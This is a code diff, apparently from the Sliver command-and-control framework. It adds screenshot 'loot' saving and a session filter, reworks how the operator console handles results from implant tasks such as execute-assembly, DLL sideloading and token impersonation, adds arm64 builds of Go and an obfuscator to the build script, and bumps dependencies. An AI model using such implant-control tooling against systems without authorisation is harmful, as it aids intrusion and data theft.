-			con.PrintInfof("Output saved as loot\n")
-		}
+}
+
+func LootScreenshot(screenshot *sliverpb.Screenshot, lootName string, hostName string, con *console.SliverConsoleClient) {
+	timeNow := time.Now().UTC()
+	screenshotFileName := fmt.Sprintf("screenshot_%s_%s.png", hostName, timeNow.Format("20060102150405"))
+
+	if lootName == "" {
+		lootName = screenshotFileName
 	}
+
+	lootMessage := loot.CreateLootMessage(screenshotFileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_BINARY, screenshot.GetData())
+	loot.SendLootMessage(lootMessage, con)
 }
 
 func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {

client/command/sessions/sessions.go

@@ -21,6 +21,7 @@ package sessions
 import (
 	"context"
 	"fmt"
+	"regexp"
 	"strings"
 	"time"
 
@@ -97,12 +98,23 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			con.PrintErrorf("Invalid session name or session number: %s\n", interact)
 		}
 	} else {
+		filter := ctx.Flags.String("filter")
+		var filterRegex *regexp.Regexp
+		if ctx.Flags.String("filter-re") != "" {
+			var err error
+			filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
+		}
+
 		sessionsMap := map[string]*clientpb.Session{}
 		for _, session := range sessions.GetSessions() {
 			sessionsMap[session.ID] = session
 		}
 		if 0 < len(sessionsMap) {
-			PrintSessions(sessionsMap, con)
+			PrintSessions(sessionsMap, filter, filterRegex, con)
 		} else {
 			con.PrintInfof("No sessions 🙁\n")
 		}
@@ -110,7 +122,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 }
 
 // PrintSessions - Print the current sessions
-func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverConsoleClient) {
+func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
 	width, _, err := term.GetSize(0)
 	if err != nil {
 		width = 999
@@ -128,7 +140,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
 			"Hostname",
 			"Username",
 			"Operating System",
-			"Last Check-in",
+			"Last Message",
 			"Health",
 		})
 	} else {
@@ -164,8 +176,9 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
 		}
 		username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
 
+		var rowEntries []string
 		if con.Settings.SmallTermWidth < width {
-			tw.AppendRow(table.Row{
+			rowEntries = []string{
 				fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
 				fmt.Sprintf(color+"%s"+console.Normal, session.Name),
 				fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
@@ -175,9 +188,9 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
 				fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
 				fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
 				burned + SessionHealth,
-			})
+			}
 		} else {
-			tw.AppendRow(table.Row{
+			rowEntries = []string{
 				fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
 				fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
 				fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
@@ -185,7 +198,31 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
 				fmt.Sprintf(color+"%s"+console.Normal, username),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
 				burned + SessionHealth,
-			})
+			}
+		}
+		// Build the row struct
+		row := table.Row{}
+		for _, entry := range rowEntries {
+			row = append(row, entry)
+		}
+		// Apply filters if any
+		if filter == "" && filterRegex == nil {
+			tw.AppendRow(row)
+		} else {
+			for _, rowEntry := range rowEntries {
+				if filter != "" {
+					if strings.Contains(rowEntry, filter) {
+						tw.AppendRow(row)
+						break
+					}
+				}
+				if filterRegex != nil {
+					if filterRegex.MatchString(rowEntry) {
+						tw.AppendRow(row)
+						break
+					}
+				}
+			}
 		}
 	}
 

client/command/tasks/fetch.go

@@ -233,7 +233,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 				"loot": &grumble.FlagMapItem{Value: false, IsDefault: true},
 			},
 		}
-		exec.PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
+		exec.HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostname, ctx, con)
 
 	// execute-shellcode
 	case sliverpb.MsgTaskReq:
@@ -289,9 +289,10 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 			Command: &grumble.Command{Name: "sideload"},
 			Flags: grumble.FlagMap{
 				"save": &grumble.FlagMapItem{Value: false},
+				"loot": &grumble.FlagMapItem{Value: false},
 			},
 		}
-		exec.PrintSideload(sideload, hostname, ctx, con)
+		exec.HandleSideloadResponse(sideload, "", hostname, ctx, con)
 
 	case sliverpb.MsgSpawnDllReq:
 		spawnDll := &sliverpb.SpawnDll{}
@@ -309,9 +310,10 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 			Command: &grumble.Command{Name: "spawndll"},
 			Flags: grumble.FlagMap{
 				"save": &grumble.FlagMapItem{Value: false},
+				"loot": &grumble.FlagMapItem{Value: false},
 			},
 		}
-		exec.PrintSpawnDll(spawnDll, hostname, ctx, con)
+		exec.HandleSpawnDLLResponse(spawnDll, "", hostname, ctx, con)
 
 	case sliverpb.MsgSSHCommandReq:
 		sshCommand := &sliverpb.SSHCommand{}
@@ -454,6 +456,14 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 		}
 		privilege.PrintGetSystem(getSystem, con)
 
+	case sliverpb.MsgCurrentTokenOwnerReq:
+		cto := &sliverpb.CurrentTokenOwner{}
+		err := proto.Unmarshal(task.Response, cto)
+		if err != nil {
+			con.PrintErrorf("Failed to decode task response: %s\n", err)
+			return
+		}
+
 	case sliverpb.MsgImpersonateReq:
 		impersonateReq := &sliverpb.ImpersonateReq{}
 		err := proto.Unmarshal(task.Response, impersonateReq)

docs/Gemfile.lock

@@ -232,7 +232,7 @@ GEM
       jekyll-seo-tag (~> 2.1)
     minitest (5.15.0)
     multipart-post (2.1.1)
-    nokogiri (1.13.3)
+    nokogiri (1.13.4)
       mini_portile2 (~> 2.8.0)
       racc (~> 1.4)
     octokit (4.22.0)

go-assets.sh

@@ -20,7 +20,7 @@ set -e
 
 # Creates the static go asset archives
 
-GO_VER="1.18"
+GO_VER="1.18.2"
 GARBLE_VER="1.18.0"
 
 GO_ARCH_1="amd64"
@@ -102,9 +102,9 @@ cp -vv darwin-go.zip $OUTPUT_DIR/darwin/$GO_ARCH_2/go.zip
 rm -rf ./go
 rm -f darwin-go.zip go$GO_VER.darwin-$GO_ARCH_2.tar.gz
 
-# --- Linux --- 
-curl --output go$GO_VER.linux-amd64.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_1.tar.gz
-tar xvf go$GO_VER.linux-amd64.tar.gz
+# --- Linux (amd64) --- 
+curl --output go$GO_VER.linux-$GO_ARCH_1.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_1.tar.gz
+tar xvf go$GO_VER.linux-$GO_ARCH_1.tar.gz
 cd go
 rm -rf $BLOAT_FILES
 rm -rf ./src
@@ -118,6 +118,22 @@ cp -vv linux-go.zip $OUTPUT_DIR/linux/$GO_ARCH_1/go.zip
 rm -rf ./go
 rm -f linux-go.zip go$GO_VER.linux-$GO_ARCH_1.tar.gz
 
+# --- Linux (arm64) --- 
+curl --output go$GO_VER.linux-$GO_ARCH_2.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_2.tar.gz
+tar xvf go$GO_VER.linux-$GO_ARCH_2.tar.gz
+cd go
+rm -rf $BLOAT_FILES
+rm -rf ./src
+rm -f ./pkg/tool/linux_$GO_ARCH_2/doc
+rm -f ./pkg/tool/linux_$GO_ARCH_2/tour
+rm -f ./pkg/tool/linux_$GO_ARCH_2/test2json
+cd ..
+zip -r linux-go.zip ./go
+mkdir -p $OUTPUT_DIR/linux/$GO_ARCH_2
+cp -vv linux-go.zip $OUTPUT_DIR/linux/$GO_ARCH_2/go.zip
+rm -rf ./go
+rm -f linux-go.zip go$GO_VER.linux-$GO_ARCH_2.tar.gz
+
 # --- Windows --- 
 curl --output go$GO_VER.windows-amd64.zip https://dl.google.com/go/go$GO_VER.windows-$GO_ARCH_1.zip
 unzip go$GO_VER.windows-amd64.zip
@@ -140,8 +156,8 @@ echo "-----------------------------------------------------------------"
 
 echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
 curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
-file $OUTPUT_DIR/linux/$GO_ARCH_1/garble
-
+echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
+curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
 echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
 curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
 echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1"

go.mod

@@ -10,63 +10,51 @@ require (
 	github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
 	github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
 	github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
-	github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
-	github.com/Microsoft/go-winio v0.5.1 // indirect
 	github.com/alecthomas/chroma v0.8.1
 	github.com/cheggaaa/pb/v3 v3.0.5
 	github.com/desertbit/columnize v2.1.0+incompatible
 	github.com/desertbit/go-shlex v0.1.1
 	github.com/desertbit/grumble v1.1.1
 	github.com/fatih/color v1.12.0
-	github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
 	github.com/gofrs/uuid v3.3.0+incompatible
-	github.com/golang/protobuf v1.5.2 // indirect
 	github.com/google/uuid v1.3.0
 	github.com/gorilla/mux v1.8.0
 	github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
-	github.com/hashicorp/go-multierror v1.1.1 // indirect
 	github.com/jedib0t/go-pretty/v6 v6.2.4
 	github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
 	github.com/lesnuages/go-winio v0.4.19
 	github.com/lesnuages/snitch v0.6.0
-	github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
-	github.com/mattn/go-isatty v0.0.13 // indirect
-	github.com/mattn/go-sqlite3 v1.14.9
+	github.com/mattn/go-sqlite3 v1.14.12
 	github.com/miekg/dns v1.1.35
-	github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
+	github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
 	github.com/pquerna/otp v1.3.0
-	github.com/sergi/go-diff v1.1.0 // indirect
+	github.com/shirou/gopsutil/v3 v3.21.10
 	github.com/sirupsen/logrus v1.8.1
 	github.com/spf13/cobra v1.1.1
 	github.com/stretchr/testify v1.7.0
+	github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
 	golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
 	golang.org/x/net v0.0.0-20220225172249-27dd8689420f
 	golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
+	golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
 	golang.org/x/text v0.3.7
 	golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
-	google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
+	golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
 	google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
 	google.golang.org/protobuf v1.27.1
 	gopkg.in/AlecAivazis/survey.v1 v1.8.8
-	gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
 	gorm.io/driver/mysql v1.0.3
 	gorm.io/driver/postgres v1.0.5
 	gorm.io/driver/sqlite v1.1.3
 	gorm.io/gorm v1.21.14
-)
-
-require (
-	github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
-	github.com/shirou/gopsutil/v3 v3.21.10
-	github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
-	golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
-	golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
 	gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
-	modernc.org/sqlite v1.14.3
+	modernc.org/sqlite v1.16.0
 )
 
 require (
 	github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
+	github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
+	github.com/Microsoft/go-winio v0.5.1 // indirect
 	github.com/StackExchange/wmi v1.2.1 // indirect
 	github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
 	github.com/VividCortex/ewma v1.1.1 // indirect
@@ -79,10 +67,13 @@ require (
 	github.com/desertbit/closer/v3 v3.1.2 // indirect
 	github.com/desertbit/readline v1.5.1 // indirect
 	github.com/dlclark/regexp2 v1.2.0 // indirect
+	github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
 	github.com/go-ole/go-ole v1.2.6 // indirect
 	github.com/go-sql-driver/mysql v1.5.0 // indirect
+	github.com/golang/protobuf v1.5.2 // indirect
 	github.com/google/btree v1.0.1 // indirect
 	github.com/hashicorp/errwrap v1.1.0 // indirect
+	github.com/hashicorp/go-multierror v1.1.1 // indirect
 	github.com/inconshreveable/mousetrap v1.0.0 // indirect
 	github.com/jackc/chunkreader/v2 v2.0.1 // indirect
 	github.com/jackc/pgconn v1.7.0 // indirect
@@ -96,11 +87,15 @@ require (
 	github.com/jinzhu/now v1.1.2 // indirect
 	github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
 	github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
+	github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
 	github.com/mattn/go-colorable v0.1.8 // indirect
+	github.com/mattn/go-isatty v0.0.13 // indirect
 	github.com/mattn/go-runewidth v0.0.9 // indirect
 	github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
+	github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
 	github.com/pmezard/go-difflib v1.0.0 // indirect
 	github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
+	github.com/sergi/go-diff v1.1.0 // indirect
 	github.com/spf13/pflag v1.0.5 // indirect
 	github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
 	golang.org/x/mod v0.5.1 // indirect
@@ -108,14 +103,16 @@ require (
 	golang.org/x/tools v0.1.9 // indirect
 	golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
 	golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
+	google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
 	google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
-	gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
+	gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
+	gopkg.in/yaml.v3 v3.0.0 // indirect
 	lukechampine.com/uint128 v1.1.1 // indirect
-	modernc.org/cc/v3 v3.35.18 // indirect
-	modernc.org/ccgo/v3 v3.12.95 // indirect
-	modernc.org/libc v1.11.104 // indirect
+	modernc.org/cc/v3 v3.35.24 // indirect
+	modernc.org/ccgo/v3 v3.15.18 // indirect
+	modernc.org/libc v1.14.12 // indirect
 	modernc.org/mathutil v1.4.1 // indirect
-	modernc.org/memory v1.0.5 // indirect
+	modernc.org/memory v1.0.7 // indirect
 	modernc.org/opt v0.1.1 // indirect
 	modernc.org/strutil v1.1.1 // indirect
 	modernc.org/token v1.0.0 // indirect

go.sum

@@ -614,8 +614,8 @@ github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/Qd
 github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
 github.com/mattn/go-shellwords v1.0.3/go.mod h1:3xCvwCdWdlDJUrvuMn7Wuy9eWs4pE8vqg+NOMyg4B2o=
 github.com/mattn/go-sqlite3 v1.14.3/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
-github.com/mattn/go-sqlite3 v1.14.9 h1:10HX2Td0ocZpYEjhilsuo6WWtUqttj2Kb0KtD86/KYA=
-github.com/mattn/go-sqlite3 v1.14.9/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
+github.com/mattn/go-sqlite3 v1.14.12 h1:TJ1bhYJPV44phC+IMu1u2K/i5RriLTPe+yc68XDJ1Z0=
+github.com/mattn/go-sqlite3 v1.14.12/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
 github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0=
 github.com/matttproud/golang_protobuf_extensions v1.0.2-0.20181231171920-c182affec369/go.mod h1:BSXmuO+STAnVfrANrmjBb36TMTDstsz7MSK+HVaYKv4=
 github.com/mdlayher/genetlink v1.2.0/go.mod h1:ra5LDov2KrUCZJiAtEvXXZBxGMInICMXIwshlJ+qRxQ=
@@ -1338,8 +1338,9 @@ gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
 gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
 gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
 gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
-gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
 gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+gopkg.in/yaml.v3 v3.0.0 h1:hjy8E9ON/egN1tAYqKb61G10WtihqetD4sz2H+8nIeA=
+gopkg.in/yaml.v3 v3.0.0/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
 gorm.io/driver/mysql v1.0.3 h1:+JKBYPfn1tygR1/of/Fh2T8iwuVwzt+PEJmKaXzMQXg=
 gorm.io/driver/mysql v1.0.3/go.mod h1:twGxftLBlFgNVNakL7F+P/x9oYqoymG3YYT8cAfI9oI=
 gorm.io/driver/postgres v1.0.5 h1:raX6ezL/ciUmaYTvOq48jq1GE95aMC0CmxQYbxQ4Ufw=
@@ -1395,8 +1396,11 @@ modernc.org/cc/v3 v3.35.10/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g
 modernc.org/cc/v3 v3.35.15/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
 modernc.org/cc/v3 v3.35.16/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
 modernc.org/cc/v3 v3.35.17/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
-modernc.org/cc/v3 v3.35.18 h1:rMZhRcWrba0y3nVmdiQ7kxAgOOSq2m2f2VzjHLgEs6U=
 modernc.org/cc/v3 v3.35.18/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
+modernc.org/cc/v3 v3.35.20/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
+modernc.org/cc/v3 v3.35.22/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
+modernc.org/cc/v3 v3.35.24 h1:vlCqjhVwX15t1uwlMPpOpNRC7JTjMZ9lT9DYHKQTFuA=
+modernc.org/cc/v3 v3.35.24/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI=
 modernc.org/ccgo/v3 v3.9.5/go.mod h1:umuo2EP2oDSBnD3ckjaVUXMrmeAw8C8OSICVa0iFf60=
 modernc.org/ccgo/v3 v3.10.0/go.mod h1:c0yBmkRFi7uW4J7fwx/JiijwOjeAeR2NoSaRVFPmjMw=
 modernc.org/ccgo/v3 v3.11.0/go.mod h1:dGNposbDp9TOZ/1KBxghxtUp/bzErD0/0QW4hhSaBMI=
@@ -1432,13 +1436,21 @@ modernc.org/ccgo/v3 v3.12.73/go.mod h1:hngkB+nUUqzOf3iqsM48Gf1FZhY599qzVg1iX+BT3
 modernc.org/ccgo/v3 v3.12.81/go.mod h1:p2A1duHoBBg1mFtYvnhAnQyI6vL0uw5PGYLSIgF6rYY=
 modernc.org/ccgo/v3 v3.12.84/go.mod h1:ApbflUfa5BKadjHynCficldU1ghjen84tuM5jRynB7w=
 modernc.org/ccgo/v3 v3.12.86/go.mod h1:dN7S26DLTgVSni1PVA3KxxHTcykyDurf3OgUzNqTSrU=
-modernc.org/ccgo/v3 v3.12.88/go.mod h1:0MFzUHIuSIthpVZyMWiFYMwjiFnhrN5MkvBrUwON+ZM=
 modernc.org/ccgo/v3 v3.12.90/go.mod h1:obhSc3CdivCRpYZmrvO88TXlW0NvoSVvdh/ccRjJYko=
 modernc.org/ccgo/v3 v3.12.92/go.mod h1:5yDdN7ti9KWPi5bRVWPl8UNhpEAtCjuEE7ayQnzzqHA=
-modernc.org/ccgo/v3 v3.12.95 h1:Ym2JG2G3P4IyZqjTTojHTl7qO0RysXeGSYPSoKPSBxc=
-modernc.org/ccgo/v3 v3.12.95/go.mod h1:ZcLyvtocXYi8uF+9Ebm3G8EF8HNY5hGomBqthDp4eC8=
-modernc.org/ccorpus v1.11.1 h1:K0qPfpVG1MJh5BYazccnmhywH4zHuOgJXgbjzyp6dWA=
+modernc.org/ccgo/v3 v3.13.1/go.mod h1:aBYVOUfIlcSnrsRVU8VRS35y2DIfpgkmVkYZ0tpIXi4=
+modernc.org/ccgo/v3 v3.15.9/go.mod h1:md59wBwDT2LznX/OTCPoVS6KIsdRgY8xqQwBV+hkTH0=
+modernc.org/ccgo/v3 v3.15.10/go.mod h1:wQKxoFn0ynxMuCLfFD09c8XPUCc8obfchoVR9Cn0fI8=
+modernc.org/ccgo/v3 v3.15.12/go.mod h1:VFePOWoCd8uDGRJpq/zfJ29D0EVzMSyID8LCMWYbX6I=
+modernc.org/ccgo/v3 v3.15.14/go.mod h1:144Sz2iBCKogb9OKwsu7hQEub3EVgOlyI8wMUPGKUXQ=
+modernc.org/ccgo/v3 v3.15.15/go.mod h1:z5qltXjU4PJl0pE5nhYQCvA9DhPHiWsl5GWl89+NSYE=
+modernc.org/ccgo/v3 v3.15.16/go.mod h1:XbKRMeMWMdq712Tr5ECgATYMrzJ+g9zAZEj2ktzBe24=
+modernc.org/ccgo/v3 v3.15.17/go.mod h1:bofnFkpRFf5gLY+mBZIyTW6FEcp26xi2lgOFk2Rlvs0=
+modernc.org/ccgo/v3 v3.15.18 h1:X5ym656Ye7/ubL+wox0SeF9aRX5od1UDFn1tAbQR+90=
+modernc.org/ccgo/v3 v3.15.18/go.mod h1:/2lv3WjHyanEr2sAPdGKRC38n6f0werut9BRXUjjX+A=
 modernc.org/ccorpus v1.11.1/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ=
+modernc.org/ccorpus v1.11.6 h1:J16RXiiqiCgua6+ZvQot4yUuUy8zxgqbqEEUuGPlISk=
+modernc.org/ccorpus v1.11.6/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ=
 modernc.org/httpfs v1.0.6 h1:AAgIpFZRXuYnkjftxTAZwMIiwEqAfk8aVB2/oA6nAeM=
 modernc.org/httpfs v1.0.6/go.mod h1:7dosgurJGp0sPaRanU53W4xZYKh14wfzX420oZADeHM=
 modernc.org/libc v1.9.8/go.mod h1:U1eq8YWr/Kc1RWCMFUWEdkTg8OTcfLw2kY8EDwl039w=
@@ -1476,32 +1488,41 @@ modernc.org/libc v1.11.82/go.mod h1:NF+Ek1BOl2jeC7lw3a7Jj5PWyHPwWD4aq3wVKxqV1fI=
 modernc.org/libc v1.11.86/go.mod h1:ePuYgoQLmvxdNT06RpGnaDKJmDNEkV7ZPKI2jnsvZoE=
 modernc.org/libc v1.11.87/go.mod h1:Qvd5iXTeLhI5PS0XSyqMY99282y+3euapQFxM7jYnpY=
 modernc.org/libc v1.11.88/go.mod h1:h3oIVe8dxmTcchcFuCcJ4nAWaoiwzKCdv82MM0oiIdQ=
-modernc.org/libc v1.11.90/go.mod h1:ynK5sbjsU77AP+nn61+k+wxUGRx9rOFcIqWYYMaDZ4c=
 modernc.org/libc v1.11.98/go.mod h1:ynK5sbjsU77AP+nn61+k+wxUGRx9rOFcIqWYYMaDZ4c=
-modernc.org/libc v1.11.99/go.mod h1:wLLYgEiY2D17NbBOEp+mIJJJBGSiy7fLL4ZrGGZ+8jI=
 modernc.org/libc v1.11.101/go.mod h1:wLLYgEiY2D17NbBOEp+mIJJJBGSiy7fLL4ZrGGZ+8jI=
-modernc.org/libc v1.11.104 h1:gxoa5b3HPo7OzD4tKZjgnwXk/w//u1oovvjSMP3Q96Q=
-modernc.org/libc v1.11.104/go.mod h1:2MH3DaF/gCU8i/UBiVE1VFRos4o523M7zipmwH8SIgQ=
+modernc.org/libc v1.12.0/go.mod h1:2MH3DaF/gCU8i/UBiVE1VFRos4o523M7zipmwH8SIgQ=
+modernc.org/libc v1.14.1/go.mod h1:npFeGWjmZTjFeWALQLrvklVmAxv4m80jnG3+xI8FdJk=
+modernc.org/libc v1.14.2/go.mod h1:MX1GBLnRLNdvmK9azU9LCxZ5lMyhrbEMK8rG3X/Fe34=
+modernc.org/libc v1.14.3/go.mod h1:GPIvQVOVPizzlqyRX3l756/3ppsAgg1QgPxjr5Q4agQ=
+modernc.org/libc v1.14.6/go.mod h1:2PJHINagVxO4QW/5OQdRrvMYo+bm5ClpUFfyXCYl9ak=
+modernc.org/libc v1.14.7/go.mod h1:f8xfWXW8LW41qb4X5+huVQo5dcfPlq7Cbny2TDheMv0=
+modernc.org/libc v1.14.8/go.mod h1:9+JCLb1MWSY23smyOpIPbd5ED+rSS/ieiDWUpdyO3mo=
+modernc.org/libc v1.14.10/go.mod h1:y1MtIWhwpJFpLYm6grAThtuXJKEsY6xkdZmXbRngIdo=
+modernc.org/libc v1.14.11/go.mod h1:l5/Mz/GrZwOqzwRHA3abgSCnSeJzzTl+Ify0bAwKbAw=
+modernc.org/libc v1.14.12 h1:pUBZTYoISfbb4pCf4PECENpbvwDBxeKc+/dS9LyOWFM=
+modernc.org/libc v1.14.12/go.mod h1:fJdoe23MHu2ruPQkFPPqCpToDi5cckzsbmkI6Ez0LqQ=
 modernc.org/mathutil v1.1.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
 modernc.org/mathutil v1.2.2/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
 modernc.org/mathutil v1.4.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
 modernc.org/mathutil v1.4.1 h1:ij3fYGe8zBF4Vu+g0oT7mB06r8sqGWKuJu1yXeR4by8=
 modernc.org/mathutil v1.4.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
 modernc.org/memory v1.0.4/go.mod h1:nV2OApxradM3/OVbs2/0OsP6nPfakXpi50C7dcoHXlc=
-modernc.org/memory v1.0.5 h1:XRch8trV7GgvTec2i7jc33YlUI0RKVDBvZ5eZ5m8y14=
 modernc.org/memory v1.0.5/go.mod h1:B7OYswTRnfGg+4tDH1t1OeUNnsy2viGTdME4tzd+IjM=
+modernc.org/memory v1.0.6/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw=
+modernc.org/memory v1.0.7 h1:UE3cxTRFa5tfUibAV7Jqq8P7zRY0OlJg+yWVIIaluEE=
